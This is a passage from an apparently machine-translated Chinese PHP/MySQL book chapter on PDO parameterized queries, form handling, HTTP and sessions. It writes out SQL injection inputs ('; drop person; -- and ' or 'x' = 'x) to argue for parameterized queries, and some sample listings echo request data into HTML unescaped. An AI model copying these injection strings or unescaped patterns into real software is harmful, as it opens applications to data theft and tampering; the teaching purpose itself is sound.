的 PDO 对象,这就是为什么在清单 5-1 和 5-3 中我将返回值赋给了一个名为$stmt
的变量。
如果需要多次执行那个语句,可以只准备一次,然后调用PDOStatement::execute
来执行。这样可以节省时间,但是,根据我的经验,这种情况很少发生。不过,这是值得记住的。
使用 prepare + execute 的真正动机是完全不同的:您可以使用参数化查询,这一点非常重要,就像本书中的任何内容一样,它几乎是一条绝对的规则。如果 SQL 语句的任何部分包含运行时提供的值,请始终使用参数化查询。我这样做有两个原因:
- 这使得处理字符串更加容易,因为您不必担心使用
PDO::quote
方法引用。事实上,如果你的代码中有PDO::quote
,你就没有遵守我的规则。 - 它阻止了 SQL 注入。
SQL 注入是一个聪明的技巧,用户将 SQL 片段放入表单字段,试图改变传递给数据库的 SQL,从而破坏或危及安全性。数据库编程书籍的作者对此大加赞赏,大多数人建议使用PDO:quote
或mysqli::real_escape_string
,如果你正在使用那个 API 的话。使用这些功能很笨拙,而且很容易忘记这样做,所以 SQL 注入是一个问题。
编造 SQL 注入的例子很有趣。一个常见的是把
'; drop person; --
在名称字段中,比如说。假设提交了 PHP 表单,该字段的值以 PHP 变量$name
结束,程序员编写了
$pdo->query("update person set name = '$name'");
当 PHP 代入$name
的值时,查询结果是
$pdo->query("update person set name = ''; drop person; --'");
您应该感到害怕,因为这个恶意用户已经知道如何删除person
表。这是一个有趣的例子,但它不会起作用,因为PDO::query
只处理一条语句,大多数其他 SQL APIs 也是如此。
好吧,那么用下面的方法来检查密码是否有效呢:
$pdo->query("select userid from user where
password = '$password'");
(我暂时不考虑密码应该被散列。)用户可以在密码字段中键入以下内容:
' or 'x' = 'x
变量替换后得出
$pdo->query("select userid from user where
password = '' or 'x' = 'x'");
答对了。条件为真,检索到userid
,用户已经闯入。
你可能会说用户不知道包含用户信息的表的名称,不知道程序内部的 SQL 是如何编写的,等等。然而,今天的许多应用都是开源的(例如,用于博客的 WordPress),所以在许多情况下,用户确实拥有这些信息。做大量的尝试来找出合适的东西也是有效的,甚至有破解程序可以自动做到这一点。
嗯,我可以继续下去,但是你可以用一个简单的规则 100%排除 SQL 注入的所有可能性:永远不要把任何包含数据值的 PHP 变量放在传递给任何采用 SQL 语句的方法的字符串中。(分别是PDO::exec
、PDO::prepare
、PDO::query
)。)
为了帮助您遵守规则,请始终将 SQL 语句放在单引号中。你仍然可以用串联操作符(.
)来绊倒自己,但是这需要足够的工作,所以也许你会意识到你违反了规则。
那么,如何动态构建 SQL 语句,使其包含用户输入的值呢?用参数化查询。每当您想要替换一个值时,请在标识符前加一个冒号,不带引号,如下所示:
$stmt = $pdo->prepare('select userid from user where
password = :pw');
注意,我使用了prepare
,而不是query
,因为只有prepare
接受参数。另外,请注意我使用了单引号。
您用PDOStatement::execute
执行语句:
$stmt->execute(array('pw’ => $password));
数组中的元素数量必须与参数数量完全相同,并且所有名称必须匹配。
我所做的是剥夺 PHP 进行字符串替换的机会。参数pw
的替换由 PDO 接口执行。如果有人输入密码
' or 'x' = 'x
嗯,你知道,这其实是一个很好的密码。这就是它的全部—只是数据,而不是 SQL。
我的建议是,不要问自己一个 SQL 语句是否会涉及字符串替换,因此需要防范 SQL 注入。那只是那种浪费时间、消耗大脑能量、导致错误的额外思考。总是将 SQL 语句放在单引号中,永远不要在 SQL 语句中使用 PHP 变量,并且总是使用PDO::prepare
后跟PDOStatement::execute
。假以时日,它将成为第二天性。
事实上,我并没有直接调用这些 PDO 方法,因为在我的DbAccess
类中有一个方法为我完成了这项工作。我称之为query
,尽管它适用于所有 SQL 语句,而不仅仅是查询。它在清单 5-5 中。
清单 5-5 。DbAccess::query
方法
function query($sql, $input_parameters = null, &$insert_id = null) {
$pdo = $this->getPDO();
$insert_id = null;
if (is_null($input_parameters))
$stmt = $pdo->query($sql);
else {
$stmt = $pdo->prepare($sql);
$stmt->execute($input_parameters);
}
if (stripos($sql, 'insert ') === 0)
$insert_id = $pdo->lastInsertId();
return $stmt;
}
第一个参数$sql
是您提供的 SQL 语句,当然,其中没有任何 PHP 变量。然后是$input_parameters
,这是将被传递给PDOStatement::execute
的同一个数组。第三个参数是一个自动增量值,我稍后会解释。
该方法每次都为自己调用DbAccess
:: getPDO
,但是回想一下清单 5-2 中的内容,如果已经建立了数据库连接,那么该函数是即时的。
因为这个方法将由计算机执行,如果没有输入参数,我就调用PDO::query
来节省一点时间。(回想一下我的建议,如果您自己直接编写 PDO 调用,就不要进行这种区分。)不然我叫prepare
+ execute
。
如果 SQL 语句是一个insert
,如果其中一个列(假设是一个代理键)是自动递增的,那么可能会有一个自动递增值。如果是这样,它将通过函数的第三个参数$insert_id
返回,因为调用者可能想知道主键是什么,以防新插入的行需要被其他 SQL 操作引用。(注意,比较使用的是===
,而不是==
,因为如果没有匹配,它将返回false
,当使用==
时,它等于零。)
在我的应用代码中,我将DbAccess::query
用于 100%的 SQL 语句。我从来不直接叫PDO::exec
、PDO::query
或PDO::prepare
。
这里有一个对DbAccess::query
的调用,取自我在“页面框架使用”一节中介绍的一个例子(它做什么现在并不重要)。
$stmt = $this->db->query('delete from member where
member_id = :member_id',
array('member_id' => $_REQUEST['pk']));
有了参数化查询提供的所有保护,我可以直接将表单数据从 PHP 存放表单数据的$_ REQUEST
数组发送到DbAccess::query
,而不需要使用引号。它干净、高效、绝对安全。
处理数据库插入和更新
假设你有一个类似于图 5-3 中的表单,取自我在“页面框架使用”一节中展示的一个示例应用
图 5-3 。示例表单
要输入新记录,用户单击 new 按钮得到一个空表单。填写完毕后,单击 Save 按钮将其插入数据库。要更新一条记录,有一种方法(图中未显示)可以将其数据输入表单,此时用户更改一些数据并单击 Save。这里的要点是,保存可能是插入一个新记录或更新一个现有记录。
您看不到它,但是,当检索现有记录时,它的主键被放入表单中的隐藏字段。在点击 submit 按钮(这里是 Save 按钮)时 PHP 放置表单数据的$_POST
数组中,隐藏字段中主键数据的存在表示应该进行更新,不存在表示插入。
因此,很容易将 PHP 代码写到insert
或update
,它们是单独的 SQL 语句。如果主键是一个代理键,这在我的应用中很常见,那么在insert
之后找出它是什么就很方便了,这是由DbAccess::query
提供的,如我在清单 5-5 中所示。例如,如果您想在另一个表中插入一行,而第一个表与该表有关系,需要引用一个外键(您刚刚得到的主键),那么您可能需要该键。
与其决定你是需要一个insert
还是一个update
,不如使用一个叫做 upsert 的语句。您提供数据,语句更新现有的行,或者,如果没有行,插入一个新行。MySQL 提供了一个 upsert 特性,在它的insert
语句后面附加了一个on duplicate key
子句,如下所示,其中person_id
是代理主键:
insert into person (person_id, last, first)
values (1234, 'Smith', 'John')
on duplicate key update
last = 'Smith', first = 'John'
因为主键 1234 是已知的,所以这一定是由从现有记录填充的表单产生的。因为已经有一行具有该键,所以它是重复的,并且执行了update
子句。
如果表单最初为空,则没有预先存在的主键,因此upsert
可能如下所示:
insert into person (person_id, last, first)
values (NULL, 'Smith', 'John')
on duplicate key update
last = 'Smith', first = 'John'
这里没有重复的键,所以执行insert
。
看起来 MySQL 的 upsert 做了我们想要的,但是有一个问题。回想一下,在第四章的中,我说过如果你在已经有一个自然候选键的情况下定义了一个代理主键,你应该在候选键上放置一个唯一的约束来防止重复。假设您已经为自然键(last, first)
完成了这一步。如果用户试图为 John Smith 插入新记录,而那里已经有一个 John Smith,那么即使您没有提供代理键,也将执行更新。为什么呢?因为该子句显示“无重复键”,而不是“无重复主键”更糟糕的是,如果你试图获取代理键,因为它应该是一个新行,你需要代理键,方法PDO::lastInsertId
(出现在清单 5-5 )不会给你,因为没有插入。等等,还有更多:如果重复键是一个意外,你不会从 MySQL 得到一个违反约束的错误,所以你不能警告用户。简而言之,除了主键以外,任何键的存在都可能造成严重破坏。
如果主键是自然的,情况似乎会更好。我不认为(last, first)
是一个非常好的自然键,因为相同的名和姓太常见了。尽管如此,如果这是自然键,当键是新的时插入一行并更新一个现有的行是正确的行为,并且upsert
语句会自动这样做。
然而,仍然有一个问题:如果有一个名字的改变——约翰·史密斯结婚了,并决定使用他新丈夫的名字——它将被视为一个插入,现在新婚的约翰·多伊在数据库中有两个记录。但这确实是自然键选择不当的问题,而不是 upsert 语句本身的问题。这是我通常更喜欢代理键的一个原因。有了代理键,对任何(自然)列的任何更改都很简单。
所以,我希望我已经说服了您,MySQL upsert 语句充满了特殊情况和奇怪的副作用,除了您有一个简单、自然的键之外,它不值得使用。取而代之的是,当行是新的时候使用普通的insert
,当你正在更新的时候使用update
。听起来很简单,事实也确实如此,尤其是与我花了六段时间来解释upserts
的危害相比。
如你所料,我不会到处都编码inserts
和updates
的序列。我有一个单一的方法,DbAccess::update
,,来为我做这个工作。与DbAccess::query
不同,它不使用 SQL 语句,而是使用一个规范来构造和执行适当的语句。这是它的声明。
DbAccess::update($table, $pkfield, $fields, $data,
&$row_count = null)
第一个参数是要更新的表的名称,第二个参数是它的主键列,假设它是一个单列,对我来说总是这样。然后是要插入或更新的列的数组,然后是包含列值的另一个数组。为$data
参数提供$_POST
、$_GET
或$_REQUEST
是很常见的,尽管您也可以为调用合成一个数组。最后一个可选参数是受影响行数的计数,因此您可以通过检查其值是否为 1 来验证insert
或update
是否正常工作。(如果主键与任何记录都不匹配,那么update
不会做任何事情,所以它不是会抛出异常的错误。)
假设您有一个俱乐部成员的表单,其中可能包含新成员的数据(开始时为空,隐藏字段中没有存储主键),或者可能包含现有成员的更新数据。然后,当收到提交的表单时(例如,单击了 Save 按钮),您将执行这条语句。
$pk = $this->db->update('member', 'member_id',
array('last', 'first', 'street', 'city', 'state',
'specialty_id'), $_POST);
表是member
,主键是member_id
,要插入或更新六个字段(不包括代理键,member_id
),这些字段的值可能在$_POST
数组中。我说“可能”是因为如果member_id
不在表单中,它的值就不会出现。该方法判断是否需要一个insert
或update
,执行它,然后如果它是一个insert
并且主键是一个代理,则返回主键的值。
看起来可能是一个奇怪的方法,但是它准确地反映了我是如何处理保存按钮的,并且我一直都在使用它。
清单 5-6 显示了DbAccess::update
的代码。
清单 5-6 。DbAccess::update
方法
function update($table, $pkfield, $fields, $data,
&$row_count = null) {
$input_parameters = array();
$upd = '';
foreach ($fields as $f) {
if (!isset($data[$f]) || is_null($data[$f]))
$v = 'NULL';
else {
$v = ":$f";
$input_parameters[$f] = $data[$f];
}
$upd .= ", $f=$v";
}
$upd = substr($upd, 2);
if (empty($data[$pkfield]))
$sql = "insert $table set $upd";
else {
$input_parameters[$pkfield] = $data[$pkfield];
$sql = "update $table set $upd
where $pkfield = :$pkfield";
}
$stmt = $this->query($sql, $input_parameters, $insert_id);
$row_count = $stmt->rowCount();
return $insert_id;
}
foreach
循环建立了一个参数赋值列表——而不是实际值!—添加到$fields
参数中的列。也就是说,如果列last
被列出,如果在$data
数组中有一个非空值,赋值将是last=:last
,否则赋值为last=NULL
。它还从$data
获取值,并将其放入$input_parameters
。这是必需的,因为$input_parameters
的元素必须与 SQL 语句中的命名参数完全匹配。对于为$data
传递的任何内容来说,都有可能包含额外的元素,尤其是当它是$_REQUEST
时,这种情况甚至很常见。这个函数做了更多的工作,所以使用它更容易。
构建列表的方式在前面添加了额外的逗号和空格,因此对substr
的调用会删除它们。
现在做出决定:如果在$data
数组中没有指定主键,那么语句将是一个insert
;否则,一个update
。在后一种情况下,主键的元素被添加到$input_parameters
,因为该参数在 update 语句的where
子句中被引用。
注意,我利用了非标准的 MySQL insert
语句,该语句允许赋值列表,就像update
一样。这节省了标准形式的insert
所需的几行代码,标准形式的【】需要一个列列表和一个带有值列表的values
子句。
执行参数化语句的实际工作由DbAccess::query
完成。剩下的就是设置行数并返回以插入 ID 的方式提供的任何内容。
您可能已经注意到 SQL 字符串包含 PHP 变量替换,这似乎违反了我的规则。然而,该规则是关于包含数据值的变量的。这些 PHP 变量都没有:它们是表名、列名和参数名,没有一个来自用户。值本身被隔离在$input_parameters
数组中。
在我的应用中,DbAccess
、query
和update
这两个主要方法处理了大约 99%的 MySQL 接口。从两个非常小的函数中可以看出很多!
PHP-浏览器交互
现在是时候研究一个运行在服务器上的 PHP 程序如何与运行在客户机上的浏览器交互了。(在开发系统的情况下,服务器是本地的,区分服务器和客户机仍然是有用的。)接下来的大部分内容对你来说都很熟悉,但无论如何,请听听我要说的话,即使是一篇综述,因为这将有助于理解用户如何与 PHP 应用交互。
HTTP 如何工作
基本上,HTTP 是这样工作的:当你在浏览器的 URL 字段中键入一个 URL 时,浏览器通过在一个名为 DNS(域名服务)的目录服务中查找其名称(例如basepath.com
)来找到其 IP 地址,然后通过一个名为 TCP/IP 的通信协议连接到你指定的服务器。一旦建立了连接,浏览器和服务器就可以交换消息。最初,服务器在监听——浏览器应该先走。
通常,浏览器会向服务器发送一条GET
消息。你可以自己尝试一下,不用浏览器,打开一个到服务器的telnet
会话,自己输入GET
命令。在一个*nix(类 UNIX)系统上,包括 Mac OS,从你运行的任何终端应用,你使用一个叫做telnet
的命令。在 Windows 上,您可能必须从控制面板小程序程序和功能安装它;点击“打开或关闭 Windows 功能”,然后勾选 Telnet 客户端,如图图 5-4 所示。
图 5-4 。在 Windows 上安装 Telnet
这是我放在文件dump.php
中basepath.com
上的一个 PHP 程序。
<?php
print_r($_REQUEST);
?>
我通过telnet
(当然是在客户端)执行它,如清单 5-7 所示;我打的是黑体字。
清单 5-7 。GET
通过telnet
输入的请求
$ telnet `basepath.com` 80
Trying 75.98.162.194...
Connected to basepath.com .
Escape character is '^]'.
GET /dump.php?p1=mustard & p2=pepper HTTP/1.1
Host: `basepath.com`
HTTP/1.1 200 OK
Date: Fri, 17 May 2013 15:43:09 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Transfer-Encoding: chunked
Content-Type: text/html
31
Array
(
[p1] => mustard
[p2] => pepper
)
0
Connection closed by foreign host.
$
注意,在输入了主机行之后,我必须按两次回车键。(由于分页符的原因,您看不到这两个空行。)服务器返回一个以HTTP/1.1 200 OK
开始的响应,后面是一些被称为头的行。数字31
是第一个块中的字符数,因为 Transfer-Encoding 头表示数据将分块存储。只有一大块,然后计数为零表示没有更多。你会认出第一个块是 PHP 程序写的。它只是print_r
函数的输出;我没有用 HTML 把它包围起来。
注意,在我输入的GET
行中,我提供了两个参数,p1
和p2
,它们被 PHP 自动放到全局$_REQUEST
数组中。实际上,它们在$_GET
数组中,但是$_REQUEST
同时包含了$_GET
和$_POST
(我将对此进行解释)。
正如我所展示的,当浏览器发出一个GET
时,参数与 URL 在同一行,这是你所熟悉的,因为你已经在浏览器的 URL 字段中多次看到这样的参数。这是将参数放在那里的一个缺点:用户可以看到它们。他们也进入历史和书签。
为了更加隐私,浏览器可以使用POST
,而不是GET
,并在发送给服务器的消息中输入参数。那么它们在浏览器 URL 字段、历史记录或书签中都不可见。清单 5-8 显示了与之前相同的两个参数,但是输入了一个POST
请求。这一次 PHP 将它们放入$_POST
数组和$_REQUEST
数组。出于某种原因,这次来自服务器的响应没有被分块。不管怎样,这不是你关心的事情,因为处理服务器发送的内容是浏览器的工作。
清单 5-8 。POST
通过telnet
输入的请求
$ telnet `basepath.com` 80
Trying 75.98.162.194...
Connected to basepath.com .
Escape character is '^]'.
POST /dump.php HTTP/1.1
Host: `basepath.com`
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
p1=mustard& p2=pepper
HTTP/1.1 200 OK
Date: Fri, 17 May 2013 15:40:48 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Content-Length: 50
Content-Type: text/html
Array
(
[p1] => mustard
[p2] => pepper
)
Connection closed by foreign host.
$
你应该总是让你的表单使用POST
,你会发现不在表单中的按钮和锚点(HTML <a ...>
元素)使用GET
是最简单的。(也有可能让他们用POST
。)
PHP 和表单
除了我刚才展示的例子,你不能通过telnet
与 web 服务器交互。发生的情况是,PHP 程序,或运行在服务器上的其他东西,可能是一个静态的 HTML 页面,在浏览器显示的页面上放置一些交互元素,然后,当用户单击该元素时,一个GET
或POST
被发送。它调用 PHP 程序,PHP 程序做一些处理,然后发送一些 HTML 到浏览器。等等,等等。。。这就是应用的工作方式。
最常见的交互元素是表单,毫无疑问您已经使用过了。例如,在清单 5-9 中有一个,显示在屏幕上的图 5-5 中,其中有我输入的一些数据。(没有显示布局表单的一些 CSS。)
清单 5-9 。简单的形式
echo <<<EOT
<form action=dump.php method=post accept-charset=UTF-8>
<label for=p1>p1:</label>
<input type=text size=50 name=p1 id=p1>
<label for=p2>p2:</label>
<input type=text size=50 name=p2 id=p2>
<input type=submit name=button_name value='Click Me'>
</form>
EOT;
图 5-5 。带有输入数据的表单
注意,表单的动作被设置为dump.php
,这个程序与telnet
请求执行的程序相同,它将您期望的内容写入浏览器。
Array ( [p1] => hotdog [p2] => pickle [button_name] => Click Me )
当我编码时,我经常转储出$_REQUEST
数组来查看什么进入了 PHP 程序,然后使用它作为发送了什么参数以及它们的名称的指南。当然,一旦我运行了这个程序,我就会删除转储代码。在本例中,您可以看到单击表单的提交按钮向$_REQUEST
数组添加了一个元素button_name
,这意味着该按钮被单击了;否则,元素就不会存在。我不在乎它的价值,只在乎它的名字。在我的代码中,每个按钮都有一个不同的名称,我用它来确定点击了什么。另一种方法是使用值,但是,由于值被用户视为按钮的标签,因此它会随着用户界面的调整而被修改,如果应用是本地化的,甚至会被翻译。所以,用这个名字。
通常最好将与一个表单相关的所有交互保存在同一个 PHP 文件中,而不是让表单的动作成为一个完全不同的文件,如清单 5-9 中的。将处理代码与表单保存在同一个文件中增加了内聚力;您最终会得到一堆非常独立的微型应用,每个都在自己的文件中,并且每个都只与数据库通信。正如我在第一章中提到的,数据库中心性允许并行开发,减少模块间的耦合,并且方便调试和测试。(凝聚力好;耦合不好。)
因此,大多数主 PHP 文件(不包括包含的类和其他公共代码)在顶部都有一些代码,以便在单击任何按钮时执行操作,或者在没有参数的情况下调用文件时生成一些输出。通常,即使采取了某个操作,也会生成该输出。例如,如果提交的表单导致新的一行被添加到表中,最好再次显示该表单,以防用户想要进行一些更改。
考虑到这一点,图 5-5 中的表单可以由清单 5-10 中所示的微型应用来处理,它是按照我的建议来组织的:一个处理任何按钮点击的动作部分,后面是一个显示部分。
清单 5-10 。表单显示后的动作处理
if (isset($_REQUEST['button_name'])) {
echo <<<EOT
Button was clicked.
<br>p1: {$_REQUEST['p1']}
<br>p2: {$_REQUEST['p2']}
EOT;
}
echo <<<EOT
<form action="{$_SERVER['PHP_SELF']}" method=post
accept-charset=UTF-8>
<label for=p1>p1:</label>
<input type=text size=50 name=p1 id=p1>
<label for=p2>p2:</label>
<input type=text size=50 name=p2 id=p2>
<input type=submit name=button_name value='Click Me'>
</form>
EOT;
注意,表单动作现在是$_SERVER['PHP_SELF']
,它将提交的数据发送回同一个文件。顶部的代码截取一个按钮点击,进行处理——在本例中不太多——并重新显示表单。它是空白的,因为我没有为两个表单字段编写任何value
属性来用提交的数据填充它们。图 5-6 显示了输出。
图 5-6 。空白表单后的动作处理输出
到目前为止,这个程序只有一个按钮还可以,但是随着按钮越来越多,文件顶部的if
语句开始堆积,很快就会变得一团糟。图 5-7 显示了这样一种形式。
图 5-7 。有三个按钮的表单
处理几个按钮的一个简单方法是采用惯例,动作按钮的名字以action_
开头。然后,文件顶部的代码可以简单地遍历$_REQUEST
数组,查找以action_
开头的名字,并以该名字调用函数。这允许每个按钮的动作被放入它自己的功能中,这比一系列的if
语句要干净得多。就几行而已。
foreach ($_REQUEST as $name => $value)
if (strpos($name, 'action_') === 0)
$name();
例如,如果 Click Me 2 按钮的 name 属性是action_button2
,那么它的动作代码将进入一个同名的函数中。
function action_button2() {
echo <<<EOT
<p>Button 2 was clicked.
<p>{$_REQUEST['p1']} -- {$_REQUEST['p2']}
EOT;
}
清单 5-11 显示了整个程序。注意,第三个按钮是独立的,不在表单中,所以在一个form
元素上没有action
属性来指示应该调用什么文件,而前两个按钮有。相反,onclick
事件的 JavaScript 改变浏览器的window.location
,这导致它请求指定的 URL。正如我所说,在这种情况下,将参数放在那里也是最容易的,所以它们将进入 PHP 程序的$_GET
数组,而不是$_POST
数组。但是,程序使用了$_REQUEST
数组,所以它不关心。
清单 5-11 。一个有三个按钮的窗体程序
foreach ($_REQUEST as $name => $value)
if (strpos($name, 'action_') === 0)
$name();
echo <<<EOT
<form action="{$_SERVER['PHP_SELF']}" method=post
accept-charset=UTF-8>
<label for=p1>p1:</label>
<input type=text size=50 name=p1 id=p1>
<label for=p2>p2:</label>
<input type=text size=50 name=p2 id=p2>
<br>
<input type=submit name=action_button1 value='Click Me 1'>
<input type=submit name=action_button2 value='Click Me 2'>
</form>
<button onclick='window.location="{$_SERVER['PHP_SELF']}\
?action_button3=1&p3=cake"'>
Click Me 3
</button>
EOT;
function action_button1() {
echo <<<EOT
Button 1 was clicked.
<br>{$_REQUEST['p1']} -- {$_REQUEST['p2']}
EOT;
}
function action_button2() {
echo <<<EOT
Button 2 was clicked.
<br>{$_REQUEST['p1']} -- {$_REQUEST['p2']}
EOT;
}
function action_button3() {
echo <<<EOT
Button 3 was clicked.
<br>
EOT;
print_r($_REQUEST);
}
图 5-8 和 5-9 显示了点击第一个和第三个按钮的输出。
图 5-8 。单击第一个按钮的输出
图 5-9 。单击第三个按钮的输出
如果不明显的话,因为第三个按钮不在表单中,它与表单无关,任何输入表单的东西都不会随之进入 PHP 程序。也就是说,它不是一个提交按钮;它是独立式的。通常,像这样的按钮会把用户带到一些其他的迷你应用,比如从会员页面到捐赠页面。
表单文本字段和按钮只是许多可能的交互元素中的两种。有像复选框和选择列表这样的标准选项,也有像日期选择器这样的自定义选项。我将在第六章中讨论这些,因为我们现在只需要文本字段和按钮。过早地把事情复杂化是没有意义的。
整合表单和数据库
现在是整合我在本章中讲述的两个主题的时候了,数据库访问和表单。我已经重新标记了两个表单字段“last”和“first”,它们将保存一个member
表的姓和名,该表的代理主键是member_id
。图 5-10 显示了表单。
图 5-10 。带有查找、新建和保存按钮的成员窗体
我将从一个显示表单的函数开始,该函数填充了来自参数数组$data
的数据。它在清单 5-12 中。
清单 5-12 。函数来显示成员窗体
function show_form($data) {
$member_id = empty($data['member_id']) ? '' :
$data['member_id'];
$last = empty($data['last']) ? '' :
$data['last'];
$first = empty($data['first']) ? '' :
$data['first'];
echo <<<EOT
<form action='{$_SERVER['PHP_SELF']}' method=post
accept-charset=UTF-8>
<label for=last>Last:</label>
<input type=text size=50 name=last id=last
value='$last'>
<label for=first>First:</label>
<input type=text size=50 name=first id=first
value='$first'>
<input type=hidden name=member_id value='$member_id'
hidden>
<br>
<input type=submit name=action_find value='Find'>
<input type=submit name=action_new value='New'>
<input type=submit name=action_save value='Save'>
</form>
EOT;
}
关于这个函数有两点需要注意。
- 如果数组中不存在用于保存传入数组中的值的变量,则必须将这些变量设置为空字符串,以避免出现关于引用不存在的元素的 PHP 错误消息。
member_id
在表单的隐藏字段中传递。
在文件的顶部,我包含了公共代码,它引入了DbAccess
。我不希望这个文件在EPMADD
名称空间中,因为那会干扰动作函数的动态调用。有一种方法可以解决这个问题,但我不会为此而烦恼,因为很快我将展示一种完全不同的处理表单的方法,这种方法将使问题消失。
调用适当动作函数的代码与我之前展示的类似,只是这次我传入了对DbAccess
实例的引用,并取回数据数组,该数组被传入show
_form。它在清单 5-13 中。
清单 5-13 。文件顶部,显示调用动作函数和show_form
require_once 'lib/common.php';
$db = new EPMADD\DbAccess();
$data = array();
foreach ($_REQUEST as $name => $value)
if (strpos($name, 'action_') === 0) {
$data = $name($db);
break;
}
show_form($data);
最后,清单 5-14 展示了三个动作函数,因为我在本章前面展示了DbAccess
函数,所以没什么要做的。函数action_new
特别有意思。
清单 5-14 。动作功能
function action_find($db) {
$last = empty($_REQUEST['last']) ? '' : $_REQUEST['last'];
$stmt = $db->query('select member_id, last, first from
member where last like :pat',
array('pat' => "$last%"));
if ($row = $stmt->fetch()) {
return $row;
}
echo "<p>Not found";
return array();
}
function action_new($db) {
return array();
}
function action_save($db) {
$db->update('member', 'member_id',
array('last', 'first'), $_REQUEST);
echo "saved";
return $_REQUEST;
}
如果你仔细听了我的介绍,你可能会注意到一些严重的缺陷。
- 所有的错误都会抛出异常,但是我不会处理它们。
- Find 按钮不使用名字字段,这对用户来说并不明显。
- 如果找到多行,则只显示第一行。
- 页面的外观可以得到实质性的改善。其中一些可以用 CSS 来完成,但是请注意,我甚至都懒得放入一些必需的 HTML (
DOCTYPE
、html
、head
等等)。).
我不打算修复这些问题,因为整个程序只是一个例子,用来展示处理表单的 PHP 应用的一般结构。我保证在本章结束时,我会展示更好的代码,它们足够健壮,可以在您自己的应用中使用。
在获取和发布之间选择
在下一章,当我详细讨论安全性时,我会说你应该用POST
而不是GET
向网页传递参数。在表单中使用POST
非常简单——您只需在form
元素中指定POST
——但是对于按钮和页面传输来说就复杂了,PHP 程序员通常使用header
函数,参数在 URL 中指定。
我将在下一章中讨论所有这些复杂的问题,但是现在,在这一章中,我将使用GET
,因为这可能是你所习惯的,尽管这不是最好的方法。最终都会解决的。
PHP 会话
从概念上讲,会话是用户和 web 服务器调用的一些 PHP 程序之间的一组相关交互。将它们联系起来的是,它们不仅可以通过数据库共享数据(任何可以访问数据库的代码都可以这样做),还可以更直接地通过会话中的程序共享的一个名为$_SESSION
的 PHP 数组共享数据。如果一个程序设置了一个元素$_SESSION
,那么作为会话成员的任何其他程序也可以访问该元素。
让会话工作的诀窍是 PHP 将$_SESSION
的内容存储在服务器上的一个私有文件中,这个文件有一个很难猜到的名字(例如,88734 ab 92 a 219031 C4 ACD 7 ea 6 ee 0 ff 83),称为会话 ID 。每个会话都有一个唯一的名称。如果运行 web 浏览器的客户端知道该名称,它就可以访问会话,就像运行在同一服务器上的任何 PHP 程序一样。事实上,由于运行在任何服务器上的程序都可以模仿 web 浏览器,就像我在本章前面对telnet
所做的那样,一旦名称被泄露,会话就被破坏了。而且,这个名字就是全部的保护——不需要密码或其他任何东西。
因此,要将会话限制为仅授权的客户端,即启动会话的实际人员,保持会话 ID 的私密性非常重要。当通过将 ID 存储在用户浏览器中的 cookie——一段命名数据——中来创建会话时,这是由 PHP 完成的。与大多数其他 cookie 不同,会话 cookie 保存在内存中,所以当浏览器退出时,cookie 和会话 ID 的记录也消失了。会话 ID 必须从服务器发送到浏览器一次,随着会话的进行,可能从浏览器发送到服务器很多次,因此,为了真正安全,整个会话应该加密,这意味着服务器应该设置为https
访问,而不是普通的http
。这被称为安全套接字层(SSL)会话。
想要作为会话运行的 PHP 应用应该命名会话,因此每个应用都有一个唯一的名称。这样,运行 Front Range Butterfly Club 应用的用户将与运行脸书的用户处于不同的会话中。您不必试图对会话名称保密,因为如果用户显示 cookies 列表,他或她就会看到它们。事实上,让名称具有描述性是一个好主意,这样用户就能知道这是哪个 cookie。在我的例子中,我使用了 EPMADD 这个名字(来自这本书的标题)。
因为浏览器执行时会有一个 cookie,所以每个应用(会话名)和用户都有一个会话。在数据库术语中,您可以将名称和用户视为复合主键,会话 ID 就是数据。如果你离开你的电脑一会儿,而我坐在它旁边,我可以访问你的 cookie 并得到你的会话 ID。但是,从我自己的电脑,你的饼干是完全无法访问的。即使我可以访问你的文件,那也是真的,因为正如我所说的,会话 cookies 保存在内存中。图 5-11 显示了一个真实的 cookie,由我的 Chrome 浏览器显示。
图 5-11 。Chrome 浏览器显示的 Cookie
很明显,会话 id 必须是秘密的,并且组成应用的 PHP 程序可以访问它。Cookies 和 SSL 连接实现了这一点。通过在每个 URL 中包含会话 ID,也可以在没有 cookies 的情况下运行会话,但这会使它出现在您的 web 浏览器的 URL 字段中,因此这是一个非常糟糕的主意。您可能会不经意地将该链接通过电子邮件发送给某人,或者张贴到脸书,这可能不会造成任何伤害,但这仍然是一个安全漏洞。在我将要展示的代码中,我特别禁止 PHP 将会话 id 存储在 cookies 之外的任何地方。如果用户禁用了 cookies,应用将拒绝运行。
会话数据本身保存在服务器上的一个临时文件中。在我的开发系统上,我在应用中执行了以下语句:
$_SESSION['somedata'] = 'I am some data';
然后,我找到了会话文件并查看了它的内容(cat
是 UNIX 的 view-file 命令)。
$ cat /Applications/MAMP/tmp/php/sess_88734ab92a219031c4acd7ea6ee0ff83
userid|s:4:"marc";somedata|s:14:"I am some data";
所以你可以看到会话没有什么神秘的。(我把userid
也放在那里了;我很快会解释原因。)
启动 PHP 会话非常简单。两行代码就够了,但四行更好。
ini_set('session.use_only_cookies', TRUE);
ini_set('session.use_trans_sid', FALSE);
session_name(SESSION_NAME);
session_start();
第一行强制只使用 cookies,另外,第二行阻止 PHP 在 URL 中包含会话 ID。然后我设置会话名,之前已经将常量SESSION_NAME
定义为EPMADD
。最后,session_start
在浏览器发送的 cookiess 中寻找一个名为EPMADD
的 cookie。如果找到了,它就有了会话 ID,并使用它从会话数据文件中设置$_SESSION
,无论应用决定要共享什么。如果没有找到 cookie,就假设要创建一个新的会话,PHP 发送一个头以及 PHP 程序要发送给浏览器的任何其他内容,以创建 cookie。然后在下一次执行这个语句序列时使用它。
我将这四条语句放在一个名为start_session
的Page
类的方法中。(随着我们的进展,我会给Page
类添加更多的东西。)
具有讽刺意味的是,销毁一个会话比创建一个会话要麻烦得多,例如,当用户注销时,您可能会想这么做。您必须做三件事:破坏$_SESSION
数组,告诉浏览器处理 cookie,删除服务器上的临时数据文件。那是在方法destroy_session
里。
private function destroy_session() {
$_SESSION = array();
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]);
}
session_destroy();
}
要删除 cookie,它将在大约 11 小时前过期。你用什么时间并不重要,但是,众所周知,最好的数字是 42。(详见著《银河系漫游指南》(潘出版社,1979);实际上,我从官方 PHP 文档中复制了这段代码,这些文档是由大概知道如何破坏会话的人编写的。)
我的应用很少在$_SESSION
